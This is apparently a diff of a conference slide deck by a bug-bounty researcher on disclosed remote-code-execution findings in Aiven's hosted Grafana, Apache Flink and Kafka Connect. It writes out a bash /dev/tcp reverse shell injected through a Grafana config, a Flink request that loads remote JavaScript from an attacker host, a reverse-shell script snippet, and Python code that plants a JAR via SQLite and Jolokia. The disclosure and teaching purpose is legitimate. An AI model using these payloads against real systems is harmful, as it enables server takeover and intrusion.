skipped 169 lines 170 170 # Grafana RCE (5) - Q1 171 171 172 172 - Testing for CRLF injection (\r\n) AKA newline injection 173 - - <b>API input validation schema in Github:</b> 174 - - github.com/aiven/terraform-provider-aiven/aiven/templates/service_user_config_schema.json 173 + - Searched Aiven Github repositories in case something interesting was there 174 + - <b>Found Service Configuration API input validation schema in Github [^1]</b> 175 + 176 + [^1]: https://github.com/aiven/terraform-provider-aiven/blob/v2.1.9/aiven/templates/service_user_config_schema.json 175 177 176 178 <BarBottom title="hackerone.com/reports/1200647"> 177 179 <Item text="@JJaaskela"> skipped 118 lines 296 298 297 299 # Grafana RCE (x) 298 300 299 - - How to establish reverse shell? 300 - - Bash supports /dev/tcp/SERVER_IP/SERVER_PORT - bash opens tcp connection to SERVER_IP:SERVER_PORT 301 - - Bash reverse shell: `bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1` 302 - 303 - <BarBottom title="hackerone.com/reports/1200647"> 304 - <Item text="@JJaaskela"> 305 - <carbon:logo-twitter /> 306 - </Item> 307 - </BarBottom> 308 - 309 - --- 310 - 311 - # Grafana RCE (x) 312 - 301 + - Verified that it works on local Grafana instance 302 + - How to establish reverse shell: 313 303 ```txt 314 304 [plugin.grafana-image-renderer] 315 305 rendering_args=--renderer-cmd-prefix=bash -c bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1 skipped 9 lines 325 315 326 316 # Grafana RCE (9) 327 317 328 - - For some reason, could not pass whitespaces , had to encode spaces using "$IFS" 318 + - For some reason, could not pass white spaces , had to encode spaces using "$IFS" 319 + - IFS env variable - Internal Field Seperator - can be used as space substitute 329 320 330 321 ```txt 331 322 [plugin.grafana-image-renderer] skipped 51 lines 383 374 384 375 --- 385 376 386 - # Apache Flink RCE ( 1 ) 377 + # Apache Flink RCE 378 + 379 + - Flink processes data from database, kafka or some other data source 380 + - User can submit jobs that process data - these are java applications (JAR files) that contain user code 381 + - Flink has Web UI and REST API 382 + 383 + <BarBottom title="hackerone.com/reports/1418891"> 384 + <Item text="@JJaaskela"> 385 + <carbon:logo-twitter /> 386 + </Item> 387 + </BarBottom> 388 + 389 + 390 + --- 391 + 392 + # Apache Flink RCE 393 + 394 + - Aiven Flink Service does not allow running custom jobs 395 + - Only SQL queries 396 + - Web UI and REST API are accessible 397 + 398 + <BarBottom title="hackerone.com/reports/1418891"> 399 + <Item text="@JJaaskela"> 400 + <carbon:logo-twitter /> 401 + </Item> 402 + </BarBottom> 387 403 388 - - Apache Flink has REST API 389 - - Aiven blocked access to some REST API endpoints via reverse proxy rules (HAProxy) 404 + 405 + --- 406 + 407 + # Apache Flink RCE 408 + 409 + - Aiven blocked access to some REST API endpoints via reverse proxy rules (like uploading JAR files) 410 + 411 + <img src="src/../img/flink-web-ui.png" style="height: 350px"/> 412 + 390 413 - However, all GET operations were still allowed 391 414 392 415 skipped 12 lines 405 428 <img src="img/flink-plan-get.png"/> 406 429 407 430 - Can specify java class name and class arguments !?! 🤔 408 - - Potential RCE using GET request!?! What!!! 409 431 410 432 411 433 <BarBottom title="hackerone.com/reports/1418891"> skipped 6 lines 418 440 419 441 # Apache Flink RCE 420 442 421 - - Finding the gadget ... TODO 443 + - Reviewed Flink source code to confirm how it works 444 + - Found that calls `main(String[])` method of the entry-class with the programArg values: 445 + 446 + ```java 447 + private static void callMainMethod(Class<?> entryClass, String[] args) throws ProgramInvocationException { 448 + Method mainMethod; 449 + if (!Modifier.isPublic(entryClass.getModifiers())) { 450 + throw new ProgramInvocationException( 451 + "The class " + entryClass.getName() + " must be public."); 452 + } 453 + try { 454 + mainMethod = entryClass.getMethod("main", String[].class); 455 + } catch (NoSuchMethodException e) { 456 + throw new ProgramInvocationException( 457 + "The class " + entryClass.getName() + " has no main(String[]) method."); 458 + } catch (Throwable t) { 459 + // [...] 460 + } 461 + } 462 + ``` 422 463 423 464 <BarBottom title="hackerone.com/reports/1418891"> 424 465 <Item text="@JJaaskela"> skipped 5 lines 430 471 431 472 # Apache Flink RCE 432 473 433 - - GET <https://FLINK_INSTANCE_NAME.aivencloud.com/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(https://evil.example.org)¶llelism=1> 474 + - How this can be used to execute arbitrary code on the Flink server? 475 + - Searching Java JDK for "main(String[]": 476 + 477 + <img src="img/search-code.png" style="height: 250px"/> 478 + 479 + - Found com.sun.tools.script.shell tool - same as the jrunscript command line tool 434 480 435 481 <BarBottom title="hackerone.com/reports/1418891"> 436 482 <Item text="@JJaaskela"> skipped 5 lines 442 488 443 489 # Apache Flink RCE 444 490 491 + <img src="img/jrunscript-1.png"/> 492 + 493 + <img src="img/jrunscript-2.png"/> 494 + 445 495 <BarBottom title="hackerone.com/reports/1418891"> 446 496 <Item text="@JJaaskela"> 447 497 <carbon:logo-twitter /> skipped 4 lines 452 502 453 503 # Apache Flink RCE 454 504 455 - <img src="img/aiven-flink-rce.png"/> 505 + - jrunscript uses Nashorn JavaScript engine 506 + - To make delivering reverse shell payload easier, why not load it from remote JavaScript file? 507 + 508 + <img src="img/jrunscript-3.png"/> 456 509 457 510 <BarBottom title="hackerone.com/reports/1418891"> 458 511 <Item text="@JJaaskela"> skipped 3 lines 462 515 463 516 --- 464 517 465 - # Apache Flink RCE - Fun fact 518 + # Apache Flink RCE 519 + 520 + 521 + - shell.js: [^1] 522 + 523 + ```js 524 + var host = "https://evil.example.org"; 525 + var port = 8888; 526 + var cmd = "/bin/bash"; 527 + 528 + var p = new java.lang.ProcessBuilder(cmd, "-i").redirectErrorStream(true) // [...] 529 + ``` 530 + 531 + [^1]: https://gist.github.com/frohoff/8e7c2bf3737032a25051 532 + 533 + <BarBottom title="hackerone.com/reports/1418891"> 534 + <Item text="@JJaaskela"> 535 + <carbon:logo-twitter /> 536 + </Item> 537 + </BarBottom> 538 + 539 + ```http 540 + GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan 541 + ?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js") 542 + ¶llelism=1 HTTP/1.1 543 + Host: ████ 544 + Authorization: Basic █████ 545 + ``` 546 + 547 + <BarBottom title="hackerone.com/reports/1418891"> 548 + <Item text="@JJaaskela"> 549 + <carbon:logo-twitter /> 550 + </Item> 551 + </BarBottom> 552 + 553 + 554 + --- 555 + 556 + # Apache Flink RCE 557 + 558 + <img src="img/aiven-flink-rce.png"/> 559 + 560 + <BarBottom title="hackerone.com/reports/1418891"> 561 + <Item text="@JJaaskela"> 562 + <carbon:logo-twitter /> 563 + </Item> 564 + </BarBottom> 565 + 566 + <!-- 567 + # Apache Flink RCE 466 568 467 - - GET /jars/:jarId/: plan was silently removed in Flink 1.16 (28 Oct 2022) release 569 + - GET /jars/:jarId/plan was removed in Flink 1.16 (28 Oct 2022) release 468 570 469 571 <BarBottom title="hackerone.com/reports/1418891"> 470 572 <Item text="@JJaaskela"> 471 573 <carbon:logo-twitter /> 472 574 </Item> 473 575 </BarBottom> 576 + --> 577 + 578 + --- 579 + 580 + # Kafka Connect RCE 581 + 582 + - Tool for streaming data between Kafka and other data systems 583 + - Streaming implemented using connectors 584 + - Supports 3rd party connectors 585 + - Connectors configurable via REST API 586 + - Sink Connector = sends data from Kafka to the sink data system 587 + - Source Connector = retrieves data from the source data system to Kafka 588 + 589 + <BarBottom title="hackerone.com/reports/1547877"> 590 + <Item text="@JJaaskela"> 591 + <carbon:logo-twitter /> 592 + </Item> 593 + </BarBottom> 594 + 595 + --- 596 + 597 + # Kafka Connect RCE 598 + 599 + - Aiven supports interesting connectors, such as [^1]: 600 + 601 + | Connector | | 602 + |--------| ------- | 603 + | JDBC Sink Connector | Connect to database using JDBC driver | 604 + | HTTP Sink | Send data using HTTP request | 605 + | | 606 + 607 + [^1]: https://docs.aiven.io/docs/products/kafka/kafka-connect/howto.html 608 + 609 + <BarBottom title="hackerone.com/reports/1547877"> 610 + <Item text="@JJaaskela"> 611 + <carbon:logo-twitter /> 612 + </Item> 613 + </BarBottom> 614 + 615 + --- 616 + 617 + 618 + 619 + # Kafka Connect RCE 620 + 621 + - Found out that Jolokia is listening on localhost via logs 622 + - Jolokia is a HTTP bridge to JMX (Java Management Extension) 623 + 624 + <img src="img/kafka-connect-logs.png"/> 625 + 626 + <BarBottom title="hackerone.com/reports/1547877"> 627 + <Item text="@JJaaskela"> 628 + <carbon:logo-twitter /> 629 + </Item> 630 + </BarBottom> 631 + 632 + --- 633 + 634 + # Kafka Connect RCE 635 + 636 + - HTTP sink connector does not check if destination is localhost -> can send HTTP POST requests to Jolokia 637 + - Can we use Jolokia to gain RCE? 638 + 639 + <BarBottom title="hackerone.com/reports/1547877"> 640 + <Item text="@JJaaskela"> 641 + <carbon:logo-twitter /> 642 + </Item> 643 + </BarBottom> 644 + 645 + --- 646 + 647 + # Kafka Connect RCE 648 + 649 + - Jolokia exposes the following command: 650 + ```json 651 + "jvmtiAgentLoad": { 652 + "args": [{ 653 + "name": "arguments", 654 + "type": "[Ljava.lang.String;", 655 + "desc": "Array of Diagnostic Commands Arguments and Options" 656 + }], 657 + "ret": "java.lang.String", 658 + "desc": "Load JVMTI native agent." 659 + } 660 + ``` 661 + 662 + - Can use this to load JAR files from the disk 663 + 664 + <BarBottom title="hackerone.com/reports/1547877"> 665 + <Item text="@JJaaskela"> 666 + <carbon:logo-twitter /> 667 + </Item> 668 + </BarBottom> 669 + 670 + --- 671 + 672 + # Kafka Connect RCE 673 + 674 + - <b>How can we upload JAR file to the server?</b> 675 + 676 + <BarBottom title="hackerone.com/reports/1547877"> 677 + <Item text="@JJaaskela"> 678 + <carbon:logo-twitter /> 679 + </Item> 680 + </BarBottom> 681 + 682 + --- 683 + 684 + # Kafka Connect RCE - What is a JAR file 685 + 686 + - ZIP file that contains the compiled java application code 687 + - JAR parsers, like ZIP parsers do not care if the JAR is inside another file format (just looks for file header signature: PK...) 688 + - <b>Can embed JAR files inside another file format</b> 689 + 690 + <BarBottom title="hackerone.com/reports/1547877"> 691 + <Item text="@JJaaskela"> 692 + <carbon:logo-twitter /> 693 + </Item> 694 + </BarBottom> 695 + 696 + --- 697 + 698 + # Kafka Connect RCE - SQLite JDBC Driver 699 + 700 + - Bundled with Aiven JDBC sink connector 701 + - SQLite database files are stored locally, can specify database filepath via connection url 702 + 703 + Connection URL: 704 + ```text 705 + jdbc:sqlite:/tmp/test.db 706 + ``` 707 + 708 + <BarBottom title="hackerone.com/reports/1547877"> 709 + <Item text="@JJaaskela"> 710 + <carbon:logo-twitter /> 711 + </Item> 712 + </BarBottom> 713 + 714 + --- 715 + 716 + # Kafka Connect RCE 717 + 718 + - Use JDBC sink connector and the SQLite JDBC driver to create db file 719 + - Create database table for the JAR and insert the JAR contents 720 + - Load the file as JAR using Jolokia jvmtiAgentLoad command 721 + 722 + <BarBottom title="hackerone.com/reports/1547877"> 723 + <Item text="@JJaaskela"> 724 + <carbon:logo-twitter /> 725 + </Item> 726 + </BarBottom> 727 + 728 + --- 729 + 730 + # Kafka Connect RCE - JDBC SQLite config 731 + 732 + ```python 733 + connector_url = f"{kafka_connect_api_baseurl}/connectors/{connector_name}" 734 + 735 + payload = json.dumps({ 736 + "connector.class": "io.aiven.connect.jdbc.JdbcSinkConnector", 737 + "connection.url": f"jdbc:sqlite:/tmp/test.db", 738 + "name":connector_name, 739 + "topics": topic_name, 740 + "key.converter": "org.apache.kafka.connect.storage.StringConverter", 741 + "value.converter": "org.apache.kafka.connect.json.JsonConverter", 742 + "value.converter.schemas.enable": "true", 743 + "auto.create": "true" # Create tables automatically 744 + }) 745 + headers = { 746 + 'Content-Type': 'application/json' 747 + } 748 + requests.request("PUT", f"{connector_url}/config", headers=headers, data=payload, auth=(kafka_user, kafka_password)) 749 + ``` 750 + 751 + <BarBottom title="hackerone.com/reports/1547877"> 752 + <Item text="@JJaaskela"> 753 + <carbon:logo-twitter /> 754 + </Item> 755 + </BarBottom> 756 + 757 + --- 758 + 759 + # Kafka Connect RCE - JDBC SQLite Kafka topic message 760 + 761 + ```python 762 + producer.send(topic_name, json.dumps( 763 + { 764 + "schema": { 765 + "type": "struct", 766 + "fields": [{ 767 + "field": "payload", 768 + "type": "bytes", 769 + "optional": False 770 + }] 771 + }, 772 + "payload": { 773 + # JsonConverter uses com.fasterxml.jackson, which supports binary values as base64 encoded string 774 + "payload": base64.b64encode(jar_contents).decode('utf-8') 775 + } 776 + } 777 + ).encode('utf-8')) 778 + ``` 779 + 780 + <BarBottom title="hackerone.com/reports/1547877"> 781 + <Item text="@JJaaskela"> 782 + <carbon:logo-twitter /> 783 + </Item> 784 + </BarBottom> 785 + 786 + --- 787 + 788 + # Kafka Connect RCE 789 + 790 + <video> 791 + <source src="videos/kafka-connec-jdbc-jolokia.mp4" type="video/mp4"> 792 + </video> 793 + 794 + <BarBottom title="hackerone.com/reports/1547877"> 795 + <Item text="@JJaaskela"> 796 + <carbon:logo-twitter /> 797 + </Item> 798 + </BarBottom> 799 + 800 + --- 801 + 802 + # Kafka Connect RCE 803 + 804 + ![](img/kafka-connect-bounty.png) 805 + 806 + <BarBottom title="hackerone.com/reports/1547877"> 807 + <Item text="@JJaaskela"> 808 + <carbon:logo-twitter /> 809 + </Item> 810 + </BarBottom> 811 + 812 + --- 813 + 814 + # That's it 815 + 816 + - Any questions? 817 + 818 + <BarBottom title="Thank you!"> 819 + <Item text="@JJaaskela"> 820 + <carbon:logo-twitter /> 821 + </Item> 822 + <Item text="jarijaas"> 823 + <carbon:logo-linkedin /> 824 + </Item> 825 + </BarBottom>